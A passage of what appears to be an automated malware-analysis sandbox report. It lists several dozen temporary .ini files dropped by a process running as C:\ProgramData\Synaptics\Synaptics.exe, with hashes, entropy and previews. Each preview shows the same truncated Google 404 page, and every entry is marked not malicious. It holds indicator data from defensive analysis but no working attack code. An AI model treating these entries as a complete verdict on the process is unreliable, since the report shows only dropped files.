Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="SrK7VOHAaaTuauMGXmxpQg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FP3VOpJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256400010942942
Encrypted:	false
SSDEEP:	24:GgsF+0gSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+H+pAZewRDK4mW
MD5:	F2CC5A50CF49D0520B8BF66BD90DB6C1
SHA1:	DFBB47B1833639B74EA3D357A627DF4E51990F83
SHA-256:	7016F2D56B455E7A1A35AAD797182C787586B871C5BF2B20D1A0CCF0025B8BF9
SHA-512:	8F4B2D5887420EC79FCFF2BE802B2C478865905267A2D01BA6748A8C5D966EF1B3BCC5C5D6D08A8087B85A5D32844432C2A80FEE0C9C913AA5658FE010E635D3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_8vT9-ZcuO20p2VvpycNhQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FbxABKG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.245097588720972
Encrypted:	false
SSDEEP:	24:GgsF+03SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+A+pAZewRDK4mW
MD5:	7071F976928F35B8FF3137ADF47914FC
SHA1:	6E67469D297E15F15E4502E3CFE912DD855AD4AA
SHA-256:	68C03ADD9F20D6403B759A2E6EB6E6A0D6BE22FE36330300C91532DD5E709BCE
SHA-512:	777D4DD32812C6D15B81E7CCC337EA228EA1BD446235CFE1DFA4006F5CC8BAFC6AF290F55259A0DCBAB8B53AF256FC5B1DF9F7595FED5AB716200F5335F836B3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="yf-C0V3mckg0Gjtc0y1lyw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FjWkfeg.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.251327283508224
Encrypted:	false
SSDEEP:	24:GgsF+0rSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Y+pAZewRDK4mW
MD5:	909C1D01EDB2EE263B10DD0479804C0B
SHA1:	F41BADA61D8DB8A46ED3B6779DE2D58C6FAC063F
SHA-256:	F161788AB6C8714F77C63171B86AF5879B5BC59FB2207A2CA42D4D50DA8FCD62
SHA-512:	F84059FB11DCCF92B66ECC568B17E2BD8D5839BCF52956216AE90C814595D5C035EDF5FFB6AD5731FCE0A56E6CDFBA387051BFBACF64471AE2DBA5F821DD2022
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oDJmnWwbDaBGyug0reE71A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\G5JbvIk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254884700221175
Encrypted:	false
SSDEEP:	24:GgsF+0ALSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+FL+pAZewRDK4mW
MD5:	4BBDD6F62C14886674734E55D6EFAD7C
SHA1:	3CCECC8D8089D2763DC72706FF173A337F63161B
SHA-256:	B5BD99E3659BE183F89C8EE12CDCD2B4DCDDCF720071E3D359625C79C0441B92
SHA-512:	AACE4A0239F0454E1C780D283F36C96E561133661556B4336B07364A782392897B0A6F3F0BFC9362C6BF56E5282B210C14D50CA381E5FE1EA8993BE7CBB4599B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sEe_ddQlujWd_-VJxoX9Qw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\GzTVkm8.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267323250385701
Encrypted:	false
SSDEEP:	24:GgsF+0ceSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Be+pAZewRDK4mW
MD5:	FDC4ACF83B764235B2AD86512DC1C465
SHA1:	73B508C564A4AD351A6DDBBBAEA4541C8FEB74CD
SHA-256:	7C859B0E4EFA2ED5F7C8B4C50AAC3627E090979232865F9A5465F4D9609DD995
SHA-512:	DD64A20CCB5BD7141AC60EAABCC8087674BF8CD80F6507482AF0C0D2CAAD7B1C7A8BD9FB98CD26BD72A277D48A17033B1671AF06D656CEC25CC9D08AFBB19BB1
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9eJwVSQDpFNlPeCw2Kwk2A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\HMJsDVy.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262856780129614
Encrypted:	false
SSDEEP:	24:GgsF+01I+SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+X++pAZewRDK4mW
MD5:	67939D82EDCEC669387AE892C6D4CD08
SHA1:	31809C65A270AA9F53A778699D1DEB90E5414FDA
SHA-256:	738A0105A67FE9D3D5F6A1518D8BEC0927985B9833B33830837EE33DD16C6023
SHA-512:	474F5690A1A7CF8E2ECB652CD901BDE928973753E8BA6781B67B288A7A3A9911DE8C5DA6EF667F09D22A65694FF4CD55A98B210B3C9B675978972186D8E367D2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="N-cjkE3g49X12M816z_0Jw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\IdRglBp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272144094258794
Encrypted:	false
SSDEEP:	24:GgsF+0ujSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+f+pAZewRDK4mW
MD5:	D59C8F529E7DAD8FA0B43C86F08E2475
SHA1:	EE5EEAF7CB10992C7B4EF29EFEBE1AD4BDBC9EE9
SHA-256:	DF88C1B7A9C4C41ECCF3F1BFFC863A7BE850DF8F5B16A806DD516BF06DD89DBF
SHA-512:	F37DA06ED8C3095A2233C597FC41EF4603DAB9A70B741F85723B2461EE9E59F2F87E647CC79BE39C3F925DD3C9A10EF0FC954D91BBF0DF51857BF61079754D3D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sV5UjbvcpFY27ALlCW0M6Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Ie6EK8w.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2607867670333075
Encrypted:	false
SSDEEP:	24:GgsF+0ySU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+l+pAZewRDK4mW
MD5:	FC3F0268E426E17878024B89F1095DB7
SHA1:	628DFC3E0AD1B09D76C9486EFBD09610EC342731
SHA-256:	AE0DDC82FCE6D7239E127F894B06C9D1C4EA9959A894C172FDBFF360317263CB
SHA-512:	330CD7C70B34229DE85C366E8DB243D07E4D53E7FC439F6764A12CEF676A005FE201A89A7269402041F3668C7C9417A40F4B564DC4621EF15CA27A7597EF4393
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="BFd_U0i11Mp-EUQjzx51zA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\JCX1KNM.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253853185823534
Encrypted:	false
SSDEEP:	24:GgsF+0BB5VRwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++JRw+pAZewRDK4mW
MD5:	6008A6E10C701CE5B9D934C9016265D3
SHA1:	E7974C394CB527DD5CCAE3E70BB02DF314414D18
SHA-256:	5FC67CD16A7E196572E0F069677B4A2FA087306D24D408FCDD806A9C19FE6CF5
SHA-512:	02DCABD62527F4378000EA774F6CCE5C253993DEDDDA5AE1FC6B248203D411F327AFDF9441431B5CD70BFAFEFDF6E06C77F5E39504C4C5BFF8477C610CFB66B0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6W77W5tUZihupZd18wmWRg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\KC2MaJL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.278088282411924
Encrypted:	false
SSDEEP:	24:GgsF+0NSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+i+pAZewRDK4mW
MD5:	5B3E81753C1C7F24D503B6E8B2E02341
SHA1:	27C8D737667DE385B81A502355CEAAB40B3F649C
SHA-256:	4F44105A75A8B1E97D9D840CD4BA95CFEAA66EADE5934299982DACA5B3B2BAB1
SHA-512:	0C67203F9465A6662283ECB8F8D7BC87695478495CBF2B3A965106C828BF5F56C0C0B792ACD2398DB995CF3136D20E0C1B44418AA13E86B2404C0141248551E1
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="SWkTFqYcT7IQYiPEaRGF3A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\KzhQkUY.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262132932238712
Encrypted:	false
SSDEEP:	24:GgsF+0MAhSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Oh+pAZewRDK4mW
MD5:	B5CAC9FD03E0B93CDBDD4CC9FA0A2C3F
SHA1:	0EB024B5B8BA29984C18CB9DE75B1F2A80B05D83
SHA-256:	A12969691EF375AEFAB30C5532A10E75D6C43CD689C9547CA4D5E7CB332CFE17
SHA-512:	AF8404F32F21924A7B3E57C8028F48076824556C63AA1DDE62161EC7BF589ECB4590285B75126FBE35D7A3441EC877D80F49AFB7F168E964D1C1164A676A08D2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FoTTGiGa719gMdqKQlfYYA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\L3JqwRs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26182448293491
Encrypted:	false
SSDEEP:	24:GgsF+09zISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+4c+pAZewRDK4mW
MD5:	3CEBCCD064BEC44226C8B614B6081C3E
SHA1:	EF2E2236C308686216777DC3236D17FE95F67877
SHA-256:	A230C24D726CC851D0F32D74AFEF0A3605728B06546CE9B34EB9DE101E5E4D68
SHA-512:	B7A04C64A16AF23233438648D4A3B04D62642504019B414EFB6123E7F839AD50B7D39206678852FF0CE6B6A4A2CDE13061FD1205AB3C0D3770B2222FC2D2D008
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NL9l3RmLzbrsDSFAwQvTtg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\LDUxoOX.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265275379405627
Encrypted:	false
SSDEEP:	24:GgsF+0NMSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+p+pAZewRDK4mW
MD5:	3F320C48AE408B6C0E8D017E8FD3AF48
SHA1:	010665526E3CE57E4EC261E99E6D7A6562E4C1E5
SHA-256:	5D3E4B1BAB9F8EE3A74E755A78FCAEEC0B677575DF4297DCC3BE56289260ECC7
SHA-512:	1AA7F1389D229134B6262B636B74E99FC30BE59C3748AE68C65B5357F99D780ECB1BA3B8F40959626CD731CE92FB77404E6C112592C27A0965FCC9AED1093B13
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5gPIUrAzdHiLQNTG0Skh8w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\LlOZNll.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262483578682638
Encrypted:	false
SSDEEP:	24:GgsF+0naSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+p+pAZewRDK4mW
MD5:	04B6756E9C0236916D4792DC169C89FD
SHA1:	7BCB87236026F3ADC7A8AE613CA9CE7F97A89B8B
SHA-256:	28D2A1C56BD2E5909FF3B3E22852F748984157CD7266A4929A24FE881F82FB8B
SHA-512:	A252CBE14E86039D4828AADAE5040B179F111BA0EEAD8919F8C6EC9CAF728EBFCB2278A268510C51944B1D1D301F3C3022541926923A741A8813FCB4CA53AC7C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kE3juwvvz5boNwIK8uJJ9w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\MYVNqiZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2574031768622955
Encrypted:	false
SSDEEP:	24:GgsF+0tdSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+md+pAZewRDK4mW
MD5:	889C3B60CDA8A51E629C33B60D3BD102
SHA1:	B64DB2A200C535724ADF28A0553C1CCB01077BA9
SHA-256:	F7C06E7A0A82AC4951008AEA363F2DD2F2FBFC0DD63BA3C11E4A1FD9EB597572
SHA-512:	D7CD306C3F6DE9A99655FFEED1E6670AAC9FB50A2059F76AA276D22F7F761FA5341E4CCC526E2AAE251695766E8081BA29A62CA80051A96881AA34E5F6EDF1F9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9c2L4YnOt7lvcSE5r3MkgA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\NL62Tnp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2760401583880565
Encrypted:	false
SSDEEP:	24:GgsF+0kRzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9z+pAZewRDK4mW
MD5:	758617451C36680EFAE558E295A696AB
SHA1:	5B1E9AFEC8E7FCDD6E59182BA9AB6D25D0730586
SHA-256:	32216B7077751AEF3F286DB66AA3EFBC19FB6A3543EA079B30E6610911092DB2
SHA-512:	0D9A052CDA2C7A08CD131327BC986E9C217A20F1AA3C0C68BF4FBB444783BEC1653FADE18485A9DD0E82D0D76190445433F707AB6FE84BD754817E1E008D9514
Malicious:	false
